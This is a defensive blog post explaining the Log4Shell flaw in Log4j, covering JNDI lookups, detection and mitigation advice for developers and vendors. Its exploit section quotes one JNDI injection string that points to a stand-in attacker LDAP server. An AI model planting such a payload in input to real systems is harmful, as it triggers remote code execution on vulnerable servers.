What is it and what could Software Vendors and Developers do?
3RD PARTY LIBRARIES IN THE SOFTWARE SUPPLY CHAIN CONTINUE TO POSE SECURITY RISKS FOR WEB APPS What is Log4J and what is the vulnerability (“Log4Shell” (CVE-2021-44228))?Log4j is a very popular and widely used java library for logging. Most software relies on logging as a way of providing additional diagnostics, debugging or developer support in production environment. Logging makes it easy to spot or reproduce errors or issues in production software.
What is JNDI?
One of the major advantages of Log4j is its flexibility, and extensibility it offers, including that provided by the "Lookup plugins". Simply put, they allow use of ‘functions’ in any part of the log message. Of our interest is the JNDI or Java Naming and Directory Interface plugin. JNDI provides a way to retrieve Java objects stored in a directory service like LDAP. One of the most common JNDI use cases is to retrieve a “connection” object that is then used to access the database backend.
How would an exploit work?Now Log4j allows users to add a specially crafted messages which looks something like ${jndi:ldap://my-evil-ldap-server/evilresource}. The curly braces {} around a message instruct log4j library to 'evaluate' the expression contained within it and not simply log it as text. The result of this evaluation is fetching of the resource pointed to by the URL and evaluating or executing it on the system. This is what leads to the exploitation of vulnerability when an attacker can supply an attacker- controlled URL that contains malicious payloads as part of user input, in hopes that the user input somehow finds its way to a log entry.
Figure 1: The Log4Shell exploit sequence
How do you detect this vulnerability?
Standard Vulnerability scanners can check for presence of the vulnerable version of the library on your system. Beyond that, they cannot do much as the vulnerability manifests through code. Unless some SAST tool scans code, they won't know the attack surface. Tools like Software Composition Analysis will allow developers to scan dependencies in code for this library. So far, the best possible run time detection is by using the DAST (Dynamic Application Security Testing) tools for Web Applications. Just like such tools test for SQL Injection attacks by trying to 'inject' SQL as part of user inputs, the same mechanisms can be used here to 'Inject' a crafted JNDI log message that includes a unique URL. If the URL sees a ‘hit’, you'd know which part of the code is logging this crafted input.
Mitigation:Needless to say, you can’t recommend everyone to stop using log4j overnight, as that is almost impossible. Log4j comes bundled with other software packages that will make it even more difficult to identify and remove.
Here are some recommended mitigations for developers and software vendors.For developers:
1. Logging is spread across your entire code. Scan your entire codebase to see where log strings are formed using any user input or stored data 2. If there is a need to log user input, sanitize it to not include 'commands’ that trigger vulnerability 3. Update your version of log4j library with the patch release from apache (https://logging.apache.org/log4j/2.x/security.html) 4. Use the log4j flag “formatMsgNoLookups=True” to stop code execution, however, doubts remain if that is sufficient. 5. A good practice in general is to perform security scanning of code and Software Composition Analysis scans for identifying vulnerable 3rd party libraries. 6. Implement a regular process that checks for and updates 3rd party libraries 7. Implement DevSecOps processes and implement code and application security scanning as part of your DevOps processes
For Software Vendors
1. Having a well-defined Open-Source Review process for approving use of any 3rd party open-source libraries, before the developers start using them in their code 2. Secure by Design approach - Security issues in code and products can no longer be an afterthought. Sensitize Engineering and product teams on security issues, conduct regular Security training, implementing Secure Software Development and introducing DevSecOps Processes. 3. Investment in tools for static and dynamic testing (SAST, DAST) and Software Composition Analysis that can uncover vulnerabilities hidden in 3rd party libraries.
In summary
Cyber Security is no longer a technology risk, but a business imperative! No vulnerability can be taken lightly and the Log4j vulnerability just elevates the challenge further. No one is immune to the risk posed. For organizations, it is literally a question of when, not if, they will get hacked. The key take-aways is implementing robust Cybersecurity programs that include Secure Development, Vulnerability Management and Risk analysis programs, and most importantly Patching! Be a Cyber Security Champion and Stay Safe!
Update #1:
As we were getting ready to publish this blog post, another vulnerability in log4j has hit the mainstream. This one in the version of log4j that Apache released to fix the earlier Log4Shell vulnerability. This one (CVE-2021-45105) can be exploited by attackers causing a Denial of Service attack by using a crafted log message payload using ‘Recursive lookups. Apache has released version 2.17.0 of the patch for the newly disclosed vulnerability. We reiterate our message of taking Cyber Risk very seriously and implementing robust Cyber security programs in the organization!